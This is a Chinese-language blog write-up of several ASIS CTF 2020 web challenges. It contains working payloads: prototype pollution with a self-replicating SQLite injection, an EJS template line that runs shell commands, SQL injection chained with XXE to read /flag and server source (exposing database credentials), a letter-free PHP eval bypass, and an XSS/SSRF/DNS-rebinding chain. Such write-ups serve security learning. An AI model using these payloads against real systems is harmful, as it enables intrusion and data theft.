Author:颖奇L’Amore
Blog:www.gem-love.com
全是复现的,比赛时间和SCTF刚好冲突了,但是质量是真的彳亍
Admin Panel
考点:原型链污染 非常困难的sqlite注入 SSIT
难度:Very Hard
这个题是真的牛批
是一个Admin Panel的登录,但是不知道密码所以登录就会被AccessDenied,题目给了source code
app.js
const express = require('express');
const app = express();
const session = require('express-session');
const db = require('better-sqlite3')('./db.db', {readonly: true});
const cookieParser = require("cookie-parser");
const FileStore = require('session-file-store')(session);
const fs = require('fs');
app.locals.flag = "REDACTED"
app.use(express.static('static'));
app.use(cookieParser());
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.set('views', __dirname + '/views');
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
const server = app.listen(3000, function(){
console.log("Server started on port 3000")
});
app.use(session({
secret: 'REDACTED',
resave: false,
saveUninitialized: true,
store: new FileStore({path: __dirname+'/sessions/'})
}));
const router = require('./router/main')(app, db, fs);
main.js
module.exports = function(app, db, fs){
app.get('/', function(req, res){
res.render('index.html')
});
app.post('/login', function(req, res){
var user = {};
var tmp = req.body;
var row;
if(typeof tmp.pw !== "undefined"){
tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
}
for(var key in tmp){
user[key] = tmp[key];
}
if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
user.id = 'guest';
}
req.session.user = user.id;
if(typeof user.pw !== "undefined"){
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}else{
req.session.isAdmin = false;
}
if(req.session.isAdmin && req.session.user === 'admin'){
res.statusCode = 302;
res.setHeader('Location','admin');
res.end();
}else{
res.end("Access Denied!");
}
}else{
res.end("No password given.");
}
});
app.get('/admin', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.query.test !== "undefined"){
res.render(req.query.test);
}else{
res.render("admin.html");
}
}else{
res.end("Access Denied!");
}
});
app.post('/upload', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
var fname = req.body.name;
var dir = './views/upload/'+req.session.id;
var contents = req.body.file;
!fs.existsSync(dir) && fs.mkdirSync(dir);
fs.writeFileSync(dir+'/'+fname, contents);
res.end("Done.");
}else{
res.end("Something's wrong");
}
}else{
res.end("Permission Denied!");
}
});
}
可以看一下登录的代码,对pw
有一个安全检查,其中将所有的\
'
-
#
都替换为空。之后有个名为user
的对象,遍历req.body
并将里面的值存进user
。之后会带着pw
进行一个sql查询,这里或许可能造成注入,但是pw
和sql结果中查询出的pw
必须完全相等才能设置isAdmin
这个session标记为True
,否则false
。如果isAdmin
为True
,则可以进入管理员账户。继续跟进,如果登录为管理员账户,则可以访问admin.html,并且可以拥有上传功能。
这里有一个逻辑矛盾需要我们解决,分析后文代码可知我们的用户名必须是admin,然而如果输入admin就会被强制修改为guest:
if(req.connection.remoteAddress !== '::ffff:127.0.0.1' && tmp.id === 'admin' || typeof user.id === "undefined"){
user.id = 'guest';
}
Prototype Pollution
漏洞代码出在了这里,这是一段无论id
或pw
是否为undefined
都一定会执行的代码:
for(var key in tmp){
user[key] = tmp[key];
}
我们知道,Post上传接收数据有多种方式,最常用的是urlencode,其次是json,比如hackbar的POST支持这三种Content-Type
注意到题目正好也是通过app.use(express.json());
来支持json的。那么我们同样也可以用json来提交id和pw,一样的效果。程序的运行大概是这样:
而用了JSON,一个合格的WEB CTF选手应该对此能够足够敏感,因为JSON里是可以嵌套的,比如{"a":{"b":"c"}}
,而这种形式的JSON对于本题目代码来讲并不会产生任何问题。这样的话这个for
循环遍历时var key
就是object
类型而不再是String
了
那么这有什么用?再回去看漏洞代码,遍历了tmp
后挨个元素赋值给user
,这就可以造成原型链污染。
如果POST的req.body
这个JSON中包含了__proto__
,然后又通过for
循环遍历给了user
,会怎么样?可以自己本地调试
//颖奇L'Amore www.gem-love.com
var express = require('express');
const app = express();
app.use(express.urlencoded({extended: false}));
app.use(express.json());
app.route('/login')
.post( function(req, res){
var user = {};
var tmp = req.body;
console.log("\nreq.body:")
console.log(req.body)
var row;
if(typeof tmp.pw !== "undefined"){
console.log("waf replace")
tmp.pw = tmp.pw.replace(/\\/gi,'').replace(/\'/gi,'').replace(/-/gi,'').replace(/#/gi,'');
}
for(var key in tmp){
user[key] = tmp[key];
}
console.log("user:")
console.log(user)
res.send("ok")
});
const server = app.listen(3000, function(){
console.log("Server started on port 3000")
});
因为Hackbar会在json里加入一些垃圾数据,所以我们直接用requests模块
#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests as req
import json
HOST = "http://127.0.0.1:3000/login"
proxies={'http':'http://127.0.0.1:58080','https':'https://127.0.0.1:58080'} #用来调试 可以配合burp
headers = {"Content-Type": "application/json"}
data = {
"__proto__" : {"id":"admin", "pw":"y1ng'#"}
}
json_data = json.dumps(data, sort_keys=False, separators=(',', ': '))
print(json_data)
req.post(HOST, data=json_data, headers=headers)
可以发现并没有console.log("waf replace")
,因为tmp只有__proto__
这么一个键,并没有pw
,所以tmp.pw
是undefined
,就不会进去if
里进行replace()
,这意味着我们成功bypass了waf;另外还可以看到输出的user是{}
,并没有任何东西,难道for(var key in tmp) user[key] = tmp[key];
这个for
循环不会把user复刻成tmp
一样吗?继续调试
可以看到,user
虽然是个空object
,但是user.__proto__
已经不再为空。在访问user.pw
时,因为pw
不存在,于是就回去它的prototype
去寻找,于是找到了pw
属性
当然,现在就已经能够成功伪造user.id成admin了,设置user.id为guest的if并没有进入,而且直接进入了执行SQL的操作。
第一步原型链污染来伪造id为admin就做完了。
Hard SQL
然而,想要成为admin还需要设置session.isAdmin
为True
,这需要进行sql操作:
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}
由题目代码const db = require('better-sqlite3')('./db.db', {readonly: true});
可知题目使用的是sqlite数据库
上面已经bypass了replace()
的waf,现在就可以实现sql注入了,因为想要让输入的pw和sql查询出来的pw完全相等实在是太难了。
想要注入实际上也不是很简单,因为只要sql语法没出错,回显就一样的:
不过我们可以构造时间盲注,如果是时间盲注的话,因为sqlite并没有像mysql的sleep()
那样的直接延时函数,我们只能通过让它运算更长时间来达到延时的目的,也就是Heavy Query的思路
randomblob(
N)
返回一个 N 字节长的包含伪随机字节的 BLOG, N 应该是正整数
关于randomblob()
这个函数,实际上还有更有意思的东西:如果长度N过长就会出现Error
这意味着,我们可以通过randomblob()
来特意构造一个Error,而题目如果sql语句查询出现Error是会不同回显的,这样我们就能实现Bool-Based Blind SQLi了
当然我们必须“选择性”触发这个Error,不然不就全程Error的回显了吗,sqlite在条件语句方面和PostgreSQL的语法完全一致,所以我们可以这样构造payload来布尔盲注:
{"__proto__": {"id": "admin","pw": "y1ng' union select case when (条件) then (select randomblob(100000000000000)) else 1 end--"}}
但是这个方法也有缺点,比如只有在联合查询时才能选择性触发Error,如果union
换成and
或者or
(当然其他部分也得稍作改动),在这种子句构成的布尔表达式中便不会触发Error了。
因为是完全的Bypass了waf,无任何过滤,盲注起来就很方便了,substr()
的用法和mysql等数据库完全一致:
所以就直接挨个爆破就好了,查询数据也非常方便因为表名什么的都是给了的,也可以参考Cheat Sheet里的这个payload:
and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
然而实际上你会发现你什么都跑不出来,并不是payload的问题,原因是数据库里本来就是空的!
Error触发说明条件处的布尔表达式是True
,进而说明count(*) from users
为0,其中COUNT()
函数是用来计算一个数据库表中的行数
文章写到这,实际上这题刚做完了一小半。数据库里没有东西,意味着永远也不可能输入正确的pw了,也就是说永远不可能成功伪造成admin
除非row.pw === user.pw
返回True
!再次回看代码:
row = db.prepare(`select pw from users where id='admin' and pw='${user.pw}'`).get();
if(typeof row !== "undefined"){
req.session.isAdmin = (row.pw === user.pw);
}else{
req.session.isAdmin = false;
}
刚刚我们去尝试往出注密码是因为默认了这个row.pw === user.pw
根本不可能成立,现在看来必须要想办法让它成立了
这种考点确实牛逼,第一次见,需要让sql查询结果和sql语句完全相等,肯定需要让字符串重复输出,然后利用替换等来满足这个要求。参考文末链接4
replace(hex(zeroblob(X)),hex(zeroblob(1)),'string')
的结果是'string'*X
利用这个思路,通过把一些SQL语句写进字符串来实现,其中为了避免引号转义问题利用char(39)
来代替,而sqlite中字符串的连接可以通过||
来实现
于是得到:
Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||
可以发现后面的')--
没有了,这个也得被重复,所以还得再套一层:
Payload :' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
Generates:' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||' Union select replace(hex(zeroblob(2)),hex(zeroblob(1)), char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')||replace(hex(zeroblob(3)),hex(zeroblob(1)),char(39)||')--')--')--
现在,终于能够伪造admin了,登陆成功就会跳转:
if(req.session.isAdmin && req.session.user === 'admin'){
res.statusCode = 302;
res.setHeader('Location','admin');
res.end();
}
ejs模板注入
没想到吧!题目做到这还没做完!
我们先来看下代码,首先接收一个test参数并用来渲染模板,否则是默认的admin.html
app.get('/admin', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.query.test !== "undefined"){
res.render(req.query.test);
}else{
res.render("admin.html");
}
}else{
res.end("Access Denied!");
}
});
上传则是提供了一个上传功能,使用session.id来创建一个目录并把上传的文件存在下面
app.post('/upload', function(req, res){
if(typeof req.session.isAdmin !== "undefined" && req.session.isAdmin && req.session.user === 'admin'){
if(typeof req.body.name !== "undefined" && typeof req.body.file !== "undefined"){
var fname = req.body.name;
var dir = './views/upload/'+req.session.id;
var contents = req.body.file;
!fs.existsSync(dir) && fs.mkdirSync(dir);
fs.writeFileSync(dir+'/'+fname, contents);
res.end("Done.");
}else{
res.end("Something's wrong");
}
}else{
res.end("Permission Denied!");
}
});
代码的逻辑非常明显,我们上传SSTI的模板文件然后被渲染然后RCE,注意到题目的如下代码
app.set('view engine', 'ejs');
app.engine('html', require('ejs').renderFile);
ejs是js的一个模板,不懂的可以去看看EJS中文文档:
https://ejs.bootcss.com/
虽然网上基本没啥相关payload,它不像Jinja2,实际上就直接Nodejs的代码执行就好了。payload:
<%- global.process.mainModule.require(‘child_process’).execSync(‘cat app.js’) %>
当然这是通解,本题目因为flag存在app.locals,所以ejs渲染时候可以直接读取,<%=flag%>
就可以了
题目没有上传按钮,我们自己本地写个Form上传就好了,问题在于它并没有给回显路径
分析代码,上传的文件的路径是'./views/upload/' + req.session.id + '/y1ng.html'
,所以这个session.id
是什么
首先拿出我们的cookie并url解码,s:
到.
中间的部分就是session.id
,至于为什么就要去啃源码,具体的啃源码分析过程建议参考文末的链接3,
connect.sid=s:7T-DLMSPuGOvFqEdMnCdVHYUjdb3wmxq.ubdBBNsufG1NzrzLwT2Qcizni6z8q4SMcXUHA/HP3F0
带上test
参数传进去我们上传的模板来渲染导致RCE然后读文件即可得到flag
这题实在是太牛逼了,太牛逼了
Treasury #1 & Treasury #2 – Part 1
考点:Javascipt、SQL注入、XXE
难度:中等
是一个书店,每个书都有2个按钮可以点,AE点了就弹出一个Excerpt窗口,但并没有产生什么新请求,考虑使用了AJAX
HTML源代码注意到treasury.js,访问,得到关键代码:
async function anexcerpt(book) {
const modalEl = document.createElement('div');
modalEl.style.width = '70%';
modalEl.style.height = '50%';
modalEl.style.margin = '100px auto';
modalEl.style.backgroundColor = '#fff';
modalEl.className = 'mui-panel';
const header = document.createElement('h2');
header.appendChild(document.createTextNode("An Excerpt From " + book.name));
modalEl.appendChild(header);
const loading = createSpinner(modalEl);
// show modal
mui.overlay('on', modalEl);
const response = await fetch('books.php?type=excerpt&id=' + book.id);
const bookExcerpt = await response.text();
const txtHolder = document.createElement('div');
txtHolder.className = 'mui-textfield mui--z2'
const txt = document.createElement('textarea');
txt.appendChild(document.createTextNode(bookExcerpt));
txt.readOnly = true;
txt.style.height = "100%";
txtHolder.appendChild(txt);
txtHolder.style.height = "70%";
loading.stop();
modalEl.appendChild(txtHolder);
}
发现fetch('books.php?type=excerpt&id=' + book.id);
后面接了book id,访问测试发现id存在sql注入。并且使用了xml,simplexml_load_string()
函数转换形式良好的 XML 字符串为 SimpleXMLElement
对象。
可以得到回显:
Table: books id=1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database()--+# Column: id,info id=1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema=database()--+#
之后就查不到更多信息了,说明flag不在数据库里。注意到题目使用了simplexml_load_string()
,我们可以通过构造XML来xxe
id=1'and 1=2 union select '<root><id>1</id><excerpt>abc</excerpt></root>'--+#
回显了abc,因此可以通过注入excerpt字段来XXE。用HackBar测试了一会总是出错,考虑是URL编码的问题,用requests模块,文件读取
#颖奇L'Amore
import requests as req
from urllib.parse import quote as urlen
HOST = "https://poems.asisctf.com/books.php?type=excerpt&id=1'and 1=2 "
payload = '''union select '<!DOCTYPE excerpt [<!ENTITY xxe SYSTEM "file:///flag">]><root><excerpt>&xxe;</excerpt></root>'-- #'''
payload = urlen(payload)
r = req.get(HOST+payload)
print(r.text)
得到flag:ASIS{03482b1821398ccb5214d891aed35dc87d3a77b2} 结果这个是#2的flag,#1的flag居然比#2更难拿,无语了
Treasury #1 & Treasury #2 – Part 2
xxe+伪协议得到books.php源码
<?php
sleep(1);
function connect_to_database() {
$link = mysqli_connect("web4-mariadb", "ctfuser", "dhY#OThsdivojq2", "ASISCTF");
if (!$link) {
echo "Error: Unable to connect to DB.";
exit;
}
return $link;
}
function fetch_books($condition) {
$link = connect_to_database();
if ($condition === "") {
$where_condition = "";
} else {
$where_condition = "WHERE $condition";
}
$query = "SELECT info FROM books $where_condition";
if ($result = mysqli_query($link, $query, MYSQLI_USE_RESULT)) {
$books_info = array();
while($row = $result->fetch_array(MYSQLI_NUM)) {
$books_info[] = (string) $row[0];
}
mysqli_free_result($result);
}
mysqli_close($link);
return $books_info;
}
function xml2array($xml) {
return array(
'id' => (string) $xml->id,
'name' => (string) $xml->name,
'author' => (string) $xml->author,
'year' => (string) $xml->year,
'link' => (string) $xml->link
);
}
function get_all_books() {
$books = array();
$books_info = fetch_books("");
foreach ($books_info as $info) {
$xml = simplexml_load_string($info, 'SimpleXMLElement', LIBXML_NOENT);
$books[] = xml2array($xml);
}
return $books;
}
function find_book($condition) {
$book_info = fetch_books($condition)[0];
$xml = simplexml_load_string($book_info, 'SimpleXMLElement', LIBXML_NOENT);
return $xml;
}
$type = @$_GET["type"];
if ($type === "list") {
$books = get_all_books();
echo json_encode($books);
} elseif ($type === "excerpt") {
$id = @$_GET["id"];
$book = find_book("id='$id'");
$bookExcerpt = $book->excerpt;
echo $bookExcerpt;
} else {
echo "Invalid type";
}
分析源码可知,题目从数据库查询了书籍的相关信息,然后利用simplexml_load_string()
得到了一个SimpleXMLElement
对象,最后输出了这个SimpleXMLElement
对象的excerpt属性。
flag并没有在源代码,于是就很想知道到底从数据库中都查询了什么出来,因为题目只是选择性的输出了<excerpt></excerpt>
的内容。这个考点实在是有点东西,不愧是国际带比赛,使用mysql的替换函数剥去XML标签然后显示在<excerpt></excerpt>
中,即可得到完整内容
payload:
union select concat('<root><id>4</id><excerpt>',replace((select group_concat(id,info) from books),'<','?'),'</excerpt></root>')-- #
这道题我给打满分,出题人真的彳亍
Warm-up
考点:老生常谈的无字母RCE
难度:简单
<?php
if(isset($_GET['view-source'])){
highlight_file(__FILE__);
die();
}
if(isset($_GET['warmup'])){
if(!preg_match('/[A-Za-z]/is',$_GET['warmup']) && strlen($_GET['warmup']) <= 60) {
eval($_GET['warmup']);
}else{
die("Try harder!");
}
}else{
die("No param given");
}
虽然题目可以用数字,但是完全没必要。payload:
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
http://69.90.132.196:5003/?warmup=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=readfile&__=flag.php
另外还看到了一种读文件的payload,收藏了
$_="@:>;963:"^"2_______"; // readfile
$__="____"^"830="; // glob
$_($__('*')[0]); // readfile(glob('*'))
PyCrypto
考点:AES加密、XSS、SSRF、CORS
难度:困难
这题是个webcrypto,除去密码部分,web还是非常简单的,如果当年好好做了安恒五月赛的notes那个XSS+SSRF的话,这种题都能拿payload直接秒
app.py
from Crypto.Cipher import AES
from flask import Flask, request, render_template, session
from flask_csp.csp import csp_header
import sqlite3
from hashlib import sha256
import markdown2
from selenium import webdriver
from socket import gethostbyname
from urlparse import urlparse
IP = "76.74.170.201"
BLOCK_SIZE = 32
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
key = "REDACTED"
assert len(key) == 32, "Key length error"
aes = AES.new(key, AES.MODE_ECB)
app = Flask(__name__)
app.secret_key = "REDACTED"
conn = sqlite3.connect('/app/user.db', check_same_thread=False)
c = conn.cursor()
def xor(msg1, msg2):
res = ''
for i in range(BLOCK_SIZE):
res += chr(ord(msg1[i]) ^ ord(msg2[i]))
return res
def encrypt(plaintext):
plaintext = pad(plaintext)
iv = pad("")
ciphertext = ""
for i in range(0, len(plaintext), BLOCK_SIZE):
iv = xor(aes.encrypt(plaintext[i:i+BLOCK_SIZE]),iv)
ciphertext += iv
return ciphertext.encode('hex')
def decrypt(ciphertext):
# REDACTED
# res will be the plaintext
return res
@app.route('/')
def index():
return "Welcome To my Web + Crypto Task!"
@app.route('/api/login', methods=['POST'])
def login():
try:
user = request.form['id']
pw = sha256(request.form['pw']).hexdigest()
c.execute("select username from users where username=? and pw=?", (user, pw))
res = c.fetchone()
session['mycode'] = encrypt(res[0]+key)
return 'Done!'
except:
return "Error!"
@app.route('/api/logout')
def logout():
session.pop('mycode')
return 'done!'
@app.route('/api/register', methods=['POST'])
def register():
try:
user = request.form['id']
pw = sha256(request.form['pw']).hexdigest()
c.execute("INSERT INTO users(username, pw) VALUES (?,?)",(user, pw))
conn.commit()
return 'register done!'
except:
return "Error!"
@app.route('/myinfo')
def info():
if 'mycode' in session:
return session['mycode']
else:
return 'Plz Login'
@app.route('/ticket')
@csp_header({
"default-src": "'self'",
"script-src":"'self' 'unsafe-inline'",
"style-src": "'self'",
"font-src": "'self'",
"img-src": "'self'"})
def view_post():
try:
enc = request.args.get("msg")
res_key = request.args.get("key")
if res_key == key and request.remote_addr != '127.0.0.1':
res = decrypt(enc)
return markdown2.markdown(res,safe_mode=True)
else:
return "Key or Permission Error!"
except:
return "Something is wrong!"
@app.route('/flag')
def flag():
if request.remote_addr == "127.0.0.1":
return render_template("flag.html")
else:
return 'Only Admin can access!'
@app.route('/submit')
def submit():
url = request.args.get("url")
try:
host = urlparse(url).netloc
try:
host = host[:host.index(':')]
except:
pass
if gethostbyname(host) == IP:
options = webdriver.ChromeOptions()
options.add_argument('--headless')
options.add_argument('--no-sandbox')
options.add_argument('--disable-dev-shm-usage')
driver = webdriver.Chrome(chrome_options=options, executable_path='/usr/local/bin/chromedriver')
driver.implicitly_wait(30)
driver.get(url)
driver.quit()
return "Done"
else:
return "Nop"
except:
return "URL Error"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
dockerfile:
FROM ubuntu:18.04
ENV DEBIAN_FRONTEND=noninteractive
ENV APACHE_RUN_USER www-data
ENV APACHE_RUN_GROUP www-data
RUN apt update
RUN apt install -y wget
RUN apt-get install -y gnupg2
RUN wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | apt-key add -
RUN sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list'
RUN apt update
RUN apt install -y google-chrome-stable
RUN apt install -yqq unzip curl
RUN wget -O /tmp/chromedriver.zip http://chromedriver.storage.googleapis.com/`curl -sS chromedriver.storage.googleapis.com/LATEST_RELEASE`/chromedriver_linux64.zip
RUN unzip /tmp/chromedriver.zip chromedriver -d /usr/local/bin/
RUN apt install -y python python-pip
RUN pip install flask==1.1.2
RUN pip install markdown2==2.3.8
RUN pip install pycrypto
RUN pip install flask_csp
RUN pip install selenium
RUN apt install -y sqlite3 libsqlite3-dev
RUN pip install pysqlite3
RUN apt install -y apache2
RUN apt install -y libapache2-mod-wsgi
RUN a2enmod wsgi
RUN mkdir -p /app
WORKDIR /app
ADD ./web/* ./
RUN mkdir templates
RUN mv ./flag.html ./templates/
RUN mkdir logs
RUN touch ./logs/error.log
RUN touch ./logs/access.log
ADD ./env/000-default.conf /etc/apache2/sites-available/
RUN chmod o+w /app
RUN chown www-data: /app/user.db
EXPOSE 8080
AES.MODE_ECB不太会,交给密码师傅来搞,参考GreyFang的脚本:
#TeamGreyFang
def getBlock(candidate):
register(candidate)
result = unhexlify(getCipher(candidate))
iv1 = result[:32]
return iv1
def cracker():
key = ''
for i in range(len(key)+1, 32):
candidate = ('a'*(32 - i))
ref = getBlock(candidate)
for p in string.printable:
try:
candidate = ('a'*(32 - i) + key) + p
result = getBlock(candidate)
if result == ref:
key += p
print("Match Found!!!", key)
break
except Exception as e:
print("Error Occured!", e)
return key
得到Key:"ASIS2020_W3bcrypt_ChAlLeNg3!@#%^"
/ticket中使用的md2,有一个老生常谈的XSS漏洞,前段时间BBCTF里还出现了这个考点,那个题的wp:
flag需要本地访问,尽管有CSP,但是允许'unsafe-inline'
意味着我们可以执行javascript,那就用XMLHttpRequest
或者直接fetch()
一下flag实现SSRF然后通过window.location
把结果带出来就行了。
注意到/tickit中的代码接收了key和加密过的payload然后进行解密然后md
enc = request.args.get("msg")
res_key = request.args.get("key")
if res_key == key and request.remote_addr != '127.0.0.1':
res = decrypt(enc)
return markdown2.markdown(res,safe_mode=True)
那么我们首先需要对payload进行加密,直接用它的源码改改就行了
get方式传上去就行了,可以发现JavaScript被成功触发并且把数据带去了我们的vps
然后就提交是bot了。在提交url给bot时还有个问题需要解决,这个和SCTF的Jsonhub一样,也是强制提交的url为公网ip开头,所以要想办法让它解析到127.0.0.1才行。题目使用了urlparse
,2017 Black Hat上Orange的议题明确表示Python urlparse并不能被abuse
但是这里这段代码未免也太奇怪的了
这个host最后能够获得题目的公网ip,但是最后访问却可以访问到其他任意主机
所以url应该是
http://76.74.170.201:[email protected]:8080/ticket?msg=payload&key=key
这个直接访问确实应该是访问到127.0.0.1:8080,但是一直打不通,是因为被SOP干掉了,因此,本题目还有最后一步
这里考了DNS Rebinding攻击,因为我们check host和访问host进行了两次DNS解析,这有时间差,利用这个时间差我们就可以实现用1个url即通过校验又在访问时访问到127.0.0.1
尝试使用这个工具 https://github.com/nccgroup/singularity/ 或者用现成的工具requestrepo之类的打一下就行了
References
https://github.com/networknerd/CTF_Writeups/blob/master/2020/ASISCTF_2020/Web/WebWarmup/README.md
https://github.com/saw-your-packet/ctfs/blob/master/ASIS%20CTF%20Quals%202020/Write-ups.md
https://drive.google.com/file/d/16YW4JjdcAbFSzDbECy4wA8IDDA-hxC2i/view?usp=sharing
https://github.com/TeamGreyFang/CTF-Writeups/tree/master/AsisCTF2020
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://www.gem-love.com/ctf/2462.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示